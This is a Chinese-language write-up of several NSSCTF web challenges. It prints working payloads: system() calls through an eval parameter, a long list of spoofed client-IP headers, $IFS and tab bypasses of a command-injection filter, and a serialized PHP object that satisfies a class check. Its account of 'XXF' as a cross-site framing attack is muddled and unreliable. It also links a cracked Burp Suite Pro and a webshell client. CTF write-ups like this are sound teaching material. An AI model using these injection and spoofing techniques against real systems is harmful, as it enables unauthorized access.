题目来源
NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem
题目如下
看到这个后根据题目他给了一个wllm提供传参,并且还有是一个POST请求,eval() 函数,这里大家注意一下如果是用GET请求可以直接在浏览器上面进行传参,POST一般是使用burpsuite抓包或者是Hackbar进行传参,Hackbar在火狐浏览器拓展里面安装,搜索然后安装拓展就可以用。
开始讲一下解题方法:
在Hackbar上传参,右键检查然后点击Hackbaer接着点击Load URL,选择Psta data,如下图所示:
接着尝试wllm=system("ls /");
wllm=system("cat /flag");
这些常见的查找方式,然后这里记得右键检查一下源代码,可能不会显示在屏幕上,如图所示
另外一种解法就是使用菜刀或者是蚁剑。这里我给蚁剑的链接。
https://download.csdn.net/download/m0_73951999/89724306
解题思路如下:
这题涉及到XXF伪造大家往下看了解一下什么是XXF:
XXF(Cross-Site Frame)伪造是一种网络攻击技术,利用了浏览器的同源策略和框架嵌套的特性。以下是XXF的原理及常见方法的详细说明:
同源策略:
框架嵌套:
标签将受害者网站嵌入到自己的网页中。用户在访问攻击者网站时,实际上也在与受害者网站进行交互。伪造请求:
利用用户身份:
点击劫持(Clickjacking):
伪造表单提交:
恶意重定向:
信息泄露:
利用第三方服务:
DENY
或SAMEORIGIN
,防止网页被嵌入到其他网站的框架中。Client-IP:127.0.0.1
Forwarded-For-Ip:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded-For:localhost
Forwarded:127.0.0.1
Forwarded:localhost
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
X-Custom-IP-Authorization:127.0.0.1
X-Forward-For:127.0.0.1
X-Forward:127.0.0.1
X-Forward:localhost
X-Forwarded-By:127.0.0.1
X-Forwarded-By:localhost
X-Forwarded-For-Original:127.0.0.1
X-Forwarded-For-Original:localhost
X-Forwarded-For:127.0.0.1
X-Forwarded-For:localhost
X-Forwarded-Server:127.0.0.1
X-Forwarded-Server:localhost
X-Forwarded:127.0.0.1
X-Forwarded:localhost
X-Forwared-Host:127.0.0.1
X-Forwared-Host:localhost
X-Host:127.0.0.1
X-Host:localhost
X-HTTP-Host-Override:127.0.0.1
X-Originating-IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Remote-Addr:127.0.0.1
X-Remote-Addr:localhost
X-Remote-IP:127.0.0.1
题目如下
题目首页提示,使用WLLM浏览器访问。故使用,bp抓包更改。
这里要在火狐加个拓展FoxyProxy在拓展下载后
FoxyProxy
打开到Proxies,点击添加
然后跟我这样子配置就行,接着点击Save。
这里我附上资源:Burp Suitev2021.9.1的资源:
Burp Suite Pro 是一款强大的网络应用安全测试工具,广泛用于安全专业人员和渗透测试人员。它提供了一系列用于测试网络应用的功能,包括:
1. 代理:拦截和修改 HTTP/S 请求和响应。
2. 扫描器:自动扫描网络应用中的漏洞。
3. 攻击者:自动化攻击以识别 SQL 注入和跨站脚本(XSS)等漏洞。
4. 重发器:手动修改和重新发送请求以测试应用程序行为。
5. 序列器:分析会话令牌的随机性。
6. 解码器:以各种格式解码和编码数据。
7. 比较器:比较两段数据以识别差异。
Burp Suite Pro 以其全面的工具集和用户友好的界面而闻名,是进行网络应用安全评估的必备工具。
打开后点击proxy点击intercept is off变为intercept is off
接着打开FoxyProxy点击第三个8080端口,然后对要抓包的浏览器就行ctrl+r刷新抓包
接着回到burp suitev查看抓包,接着邮件点击Send to Repeater或者是Ctrl+R之后repeater会变红
点击进去。
然后根据题目将use改为WLLM如下所示,紧接着从location可以看到下一个文件的位置。在搜索栏中将hello.php改为a.php得到下面这些。
"You can only read this at local!" 的翻译是:“您只能在本地读取此内容!”那么我们要使用XXF伪装成本地去运行,本地访问头部字段中在左边第12行:写入头部字段点击Send。
发现是secrettt.php,然后把a.php改成secrettt.php即可得出flag
Host:指定目标服务器的域名或IP地址。
User-Agent:发送请求的用户代理(浏览器、爬虫等)的标识信息。
Accept:指定客户端能够接受的响应内容类型。
Content-Type:在请求中指定发送的实体主体的媒体类型。
Content-Length:指定请求或响应中的实体主体长度(字节)。
Authorization:用于进行身份验证的凭证信息,如基本认证或Bearer令牌。
Cookie:包含客户端发送到服务器的cookie信息。
Set-Cookie:服务器在响应中设置cookie信息。
Cache-Control:控制缓存行为的指令,例如no-cache、max-age等。
Referer:指定当前请求的来源页面的URL。
Location:在重定向响应中指定新的URL。
ETag:指定实体的唯一标识符,用于缓存验证。
X-Forwarded-FOR: 识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
Server:响应中指定服务器的软件信息
打开题目后如下所示
审计一下代码如下:
错误报告:使用
error_reporting(0);
来禁止错误报告,这意味着任何错误或警告都不会被显示。内容类型头:设置响应的内容类型为 HTML,并使用 UTF-8 字符编码。
高亮显示文件:使用
highlight_file(__FILE__);
函数以语法高亮的方式显示当前文件的源代码。Cookie 检查:代码检查名为
admin
的 Cookie 是否被设置为1
。如果是,它会包含位于../next.php
的另一个 PHP 文件。如果 Cookie 没有设置或不等于1
,则输出消息 "小饼干最好吃啦!"。
很显然做这道题我们已知变量名admin并且他的值是弱相关的,这里再补充一个知识Cookie
Web Cookie(网络 Cookie)是一种小型数据文件,存储在用户的浏览器中,用于记录用户与网站之间的交互信息。Cookie 主要用于以下几个方面:
会话管理:Cookie 可以帮助网站识别用户的会话状态,例如用户是否已登录。通过存储会话 ID,网站可以在用户浏览不同页面时保持用户的登录状态。
个性化设置:网站可以使用 Cookie 存储用户的偏好设置,例如语言选择、主题样式等,以便在用户下次访问时提供个性化的体验。
跟踪和分析:Cookie 可以用于跟踪用户在网站上的行为,帮助网站分析用户的访问模式和偏好,从而优化网站内容和广告投放。
Cookie 的基本结构
一个 Cookie 通常包含以下几个部分:
名称:Cookie 的名称。
值:与名称相关联的数据。
过期时间:Cookie 的有效期,过期后 Cookie 将被删除。
路径:指定 Cookie 的有效路径,只有在该路径下的请求才会发送该 Cookie。
域:指定 Cookie 的有效域名,只有在该域名下的请求才会发送该 Cookie。
安全标志:指示 Cookie 是否仅在 HTTPS 连接中发送。
接着,主做这道题还需要一个拓展Hackbar,右上角...点击拓展搜索Hackbar添加拓展即可
接着如下图所示右键检查,打开Hackbar我们传一个admin的参数值
点击发送后ctrl+r,得到rasalghul.php
接着在搜索栏中输入rasalghul.php后
很显然这里的参数是url但是不允许输入空格不然输出nonono。我们要想办法绕过,这里补充一下知识
{cat,flag.php}
$IFS$9,${IFS},$IFS这三个都行
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。
?cmd=ls$IFS-I
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名
?cmd=ls${IFS}-l
$IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。
?cmd=ls${IFS}$9-l?url=ls$IFS/
如下所示
发现有一个flllllaaaaaaggggggg,在搜索栏中输入url=cat%09/flllllaaaaaaggggggg即可得出flag
知识点:robots.txt、php反序列化漏洞
进入环境,没有给出任何提示,不知道题目要求干什么,使用后台扫描工具(御剑后台扫描、dirmap等)可以看到存在一个robots.txt;
关于robots.txt,robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。 但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照。 如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
发现/c145s.php
构造对象 因为绕过只需要admin设置为admin 以及passwd设置为ctf
补充一下:反序列化题。我们观察wllm类里面的__destruct方法有一句话:$this->admin=="admin"&&$this->passwd=="ctf"
,满足就发flag。。你个老6,$admin
和$passwd
在类里面被固定了,不能控制啊。。。睁大眼睛一看,程序接收一个变量名为p的GET参数,且对其进行反序列化操作。。。反手构造一串:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
,这串被反序列化后,刚好是能满足条件的。。。
- class wllm{
- public $admin="admin";
- public $passwd="ctf";
- }
- $a=new wllm();
- $b=serialize($a);
- echo $b;
- ?>
运行后得到
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
将值写入后得到falg
http://node4.anna.nssctf.cn:28960//cl45s.php?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}